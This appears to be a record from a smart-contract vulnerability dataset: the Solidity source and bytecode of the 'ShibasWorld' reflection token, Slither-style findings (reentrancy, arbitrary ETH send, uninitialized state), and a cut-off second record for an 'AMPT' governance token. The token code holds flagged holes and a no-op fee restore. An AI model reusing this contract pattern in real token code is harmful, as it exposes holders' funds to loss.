function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ShibasWorld is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibas World";
string private constant _symbol = "SHIBWORLD\xF0\x9F\x8C\x8F";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _teamFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 5;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (12 hours);
}
else if (sellnumber[from] == 4) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 6000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d1578063c9567bf9146102e6578063d543dbeb146102fb578063dd62ed3e1461031b578063e8078d941461036157600080fd5b8063715018a61461023e5780638da5cb5b1461025357806395d89b411461027b578063a9059cbb146102b157600080fd5b8063313ce567116100d1578063313ce567146101cb5780635932ead1146101e75780636fc3eaec1461020957806370a082311461021e57600080fd5b806306fdde031461010e578063095ea7b31461015557806318160ddd1461018557806323b872dd146101ab57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b14da1a58985cc815dbdc9b1960a21b60208201525b60405161014c9190611b19565b60405180910390f35b34801561016157600080fd5b50610175610170366004611a6c565b610376565b604051901515815260200161014c565b34801561019157600080fd5b50683635c9adc5dea000005b60405190815260200161014c565b3480156101b757600080fd5b506101756101c6366004611a2b565b61038d565b3480156101d757600080fd5b506040516009815260200161014c565b3480156101f357600080fd5b50610207610202366004611a98565b6103f6565b005b34801561021557600080fd5b50610207610447565b34801561022a57600080fd5b5061019d6102393660046119b8565b610474565b34801561024a57600080fd5b50610207610496565b34801561025f57600080fd5b506000546040516001600160a01b03909116815260200161014c565b34801561028757600080fd5b5060408051808201909152600d81526c53484942574f524c44f09f8c8f60981b602082015261013f565b3480156102bd57600080fd5b506101756102cc366004611a6c565b61050a565b3480156102dd57600080fd5b50610207610517565b3480156102f257600080fd5b5061020761054d565b34801561030757600080fd5b50610207610316366004611ad2565b6105a2565b34801561032757600080fd5b5061019d6103363660046119f2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036d57600080fd5b50610207610675565b60006103833384846109e2565b5060015b92915050565b600061039a848484610b06565b6103ec84336103e785604051806060016040528060288152602001611cef602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611225565b6109e2565b5060019392505050565b6000546001600160a01b031633146104295760405162461bcd60e51b815260040161042090611b6e565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046757600080fd5b476104718161125f565b50565b6001600160a01b038116600090815260026020526040812054610387906112e4565b6000546001600160a01b031633146104c05760405162461bcd60e51b815260040161042090611b6e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610383338484610b06565b600f546001600160a01b0316336001600160a01b03161461053757600080fd5b600061054230610474565b905061047181611368565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161042090611b6e565b601254600160a81b900460ff1661058d57600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161042090611b6e565b6000811161061c5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610420565b61063a6064610634683635c9adc5dea00000846114f1565b90611570565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461069f5760405162461bcd60e51b815260040161042090611b6e565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106dc3082683635c9adc5dea000006109e2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561071557600080fd5b505afa158015610729573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074d91906119d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079557600080fd5b505afa1580156107a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cd91906119d5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081557600080fd5b505af1158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d91906119d5565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061087d81610474565b6000806108926000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108f557600080fd5b505af1158015610909573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092e9190611aeb565b50506012805463ffff00ff60a81b198116630101000160a81b179091556753444835ec58000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109a657600080fd5b505af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611ab5565b5050565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610c2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6000546001600160a01b03848116911614801590610c5a57506000546001600160a01b03838116911614155b156111c857601254600160c01b900460ff1615610d41576001600160a01b0383163014801590610c9357506001600160a01b0382163014155b8015610cad57506011546001600160a01b03848116911614155b8015610cc757506011546001600160a01b03838116911614155b15610d41576011546001600160a01b0316336001600160a01b03161480610d0157506012546001600160a01b0316336001600160a01b0316145b610d415760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610420565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d8357506001600160a01b0382166000908152600a602052604090205460ff16155b610d8c57600080fd5b6012546001600160a01b038481169116148015610db757506011546001600160a01b03838116911614155b8015610ddc57506001600160a01b03821660009081526005602052604090205460ff16155b8015610df15750601254600160c01b900460ff165b15610e6e57601254600160a01b900460ff16610e0c57600080fd5b601354811115610e1b57600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e3f57600080fd5b610e4a42601e611c14565b6001600160a01b0383166000908152600b6020526040902055600560095560026008555b6000610e7930610474565b601254909150600160b01b900460ff16158015610ea457506012546001600160a01b03858116911614155b8015610eb95750601254600160b81b900460ff165b156111c657601254610ee79060649061063490600390610ee1906001600160a01b0316610474565b906114f1565b8211158015610ef857506013548211155b610f0157600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f2557600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f4d9062015180611c14565b1015610f6d576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610ffa576001600160a01b0384166000908152600e60205260408120805491610fae83611c84565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fdc90610e10611c14565b6001600160a01b0385166000908152600c6020526040902055611189565b6001600160a01b0384166000908152600e602052604090205460011415611051576001600160a01b0384166000908152600e6020526040812080549161103f83611c84565b90915550610fdc905042611c20611c14565b6001600160a01b0384166000908152600e6020526040902054600214156110a8576001600160a01b0384166000908152600e6020526040812080549161109683611c84565b90915550610fdc905042615460611c14565b6001600160a01b0384166000908152600e6020526040902054600314156110ff576001600160a01b0384166000908152600e602052604081208054916110ed83611c84565b90915550610fdc90504261a8c0611c14565b6001600160a01b0384166000908152600e602052604090205460041415611189576001600160a01b0384166000908152600e6020526040812080549161114483611c84565b90915550506001600160a01b0384166000908152600d602052604090205461116f9062015180611c14565b6001600160a01b0385166000908152600c60205260409020555b61119281611368565b4780156111a2576111a24761125f565b6001600160a01b0385166000908152600e60205260409020546111c4906115b2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120a57506001600160a01b03831660009081526005602052604090205460ff165b15611213575060005b61121f848484846115d4565b50505050565b600081848411156112495760405162461bcd60e51b81526004016104209190611b19565b5060006112568486611c6d565b95945050505050565b600f546001600160a01b03166108fc611279836002611570565b6040518115909202916000818181858888f193505050501580156112a1573d6000803e3d6000fd5b506010546001600160a01b03166108fc6112bc836002611570565b6040518115909202916000818181858888f193505050501580156109de573d6000803e3d6000fd5b600060065482111561134b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610420565b6000611355611600565b90506113618382611570565b9392505050565b6012805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b0576113b0611cb5565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140457600080fd5b505afa158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c91906119d5565b8160018151811061144f5761144f611cb5565b6001600160a01b03928316602091820292909201015260115461147591309116846109e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ae908590600090869030904290600401611ba3565b600060405180830381600087803b1580156114c857600080fd5b505af11580156114dc573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261150057506000610387565b600061150c8385611c4e565b9050826115198583611c2c565b146113615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610420565b600061136183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611623565b806008546115c09190611c4e565b600855600181111561047157600a60095550565b806115e1576115e1611651565b6115ec848484611674565b8061121f5761121f60076008556005600955565b600080600061160d61176b565b909250905061161c8282611570565b9250505090565b600081836116445760405162461bcd60e51b81526004016104209190611b19565b5060006112568486611c2c565b6008541580156116615750600954155b1561166857565b60006008819055600955565b600080600080600080611686876117ad565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b8908761180a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116e7908661184c565b6001600160a01b038916600090815260026020526040902055611709816118ab565b61171384836118f5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117878282611570565b8210156117a457505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117ca8a600854600954611919565b92509250925060006117da611600565b905060008060006117ed8e878787611968565b919e509c509a509598509396509194505050505091939550919395565b600061136183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611225565b6000806118598385611c14565b9050838110156113615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610420565b60006118b5611600565b905060006118c383836114f1565b306000908152600260205260409020549091506118e0908261184c565b30600090815260026020526040902055505050565b600654611902908361180a565b600655600754611912908261184c565b6007555050565b600080808061192d606461063489896114f1565b9050600061194060646106348a896114f1565b90506000611958826119528b8661180a565b9061180a565b9992985090965090945050505050565b600080808061197788866114f1565b9050600061198588876114f1565b9050600061199388886114f1565b905060006119a582611952868661180a565b939b939a50919850919650505050505050565b6000602082840312156119ca57600080fd5b813561136181611ccb565b6000602082840312156119e757600080fd5b815161136181611ccb565b60008060408385031215611a0557600080fd5b8235611a1081611ccb565b91506020830135611a2081611ccb565b809150509250929050565b600080600060608486031215611a4057600080fd5b8335611a4b81611ccb565b92506020840135611a5b81611ccb565b929592945050506040919091013590565b60008060408385031215611a7f57600080fd5b8235611a8a81611ccb565b946020939093013593505050565b600060208284031215611aaa57600080fd5b813561136181611ce0565b600060208284031215611ac757600080fd5b815161136181611ce0565b600060208284031215611ae457600080fd5b5035919050565b600080600060608486031215611b0057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611b4657858101830151858201604001528201611b2a565b81811115611b58576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf35784516001600160a01b031683529383019391830191600101611bce565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c2757611c27611c9f565b500190565b600082611c4957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c6857611c68611c9f565b500290565b600082821015611c7f57611c7f611c9f565b500390565b6000600019821415611c9857611c98611c9f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047157600080fd5b801515811461047157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bbc8588cf96b9063c13b130a4fadd27b20c1e401619d9a2a1574c1170e29e7464736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,041 |
0x3f17cfad23c2014c5a32722557df87dff46819da
|
/**
*Submitted for verification at Etherscan.io on 2022-01-19
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract AMPT {
/// @notice EIP-20 token name for this token
string public constant name = "Amplify Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "AMPT";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public constant totalSupply = 100_000_000e18; // 100 million AMPT
/// @dev Allowance amounts on behalf of others
mapping (address => mapping (address => uint256)) internal allowances;
/// @dev Official record of token balances for each account
mapping (address => uint256) internal balances;
/// @dev A record of each account's delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint256 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint256 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint256) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint256) public nonces;
/// @notice An event that's emitted when an account changes their delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @dev A constant to be used in comparing
uint256 internal constant MAX_UINT256 = 2**256 - 1;
/**
* @notice Construct a new AMPT token
* @param account The initial account to grant all the tokens
*/
constructor(address account) {
require(account != address(0), "constructor from the zero address");
balances[account] = totalSupply;
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint256) {
return allowances[account][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
_transferTokens(msg.sender, dst, rawAmount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 rawAmount) external returns (bool) {
address spender = msg.sender;
uint256 spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != MAX_UINT256) {
require(spenderAllowance >= rawAmount, "AMPT::transferFrom: transfer amount exceeds spender allowance");
uint256 newAllowance = spenderAllowance - rawAmount;
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, rawAmount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
_delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "AMPT::delegateBySig: invalid signature");
require(nonce == nonces[signatory], "AMPT::delegateBySig: invalid nonce");
nonces[signatory]++;
require(getBlockTimestamp() <= expiry, "AMPT::delegateBySig: signature expired");
_delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint256 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
uint256 currentBlockNumber = getBlockNumber();
require(currentBlockNumber > blockNumber, "AMPT::getPriorVotes: not yet determined");
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
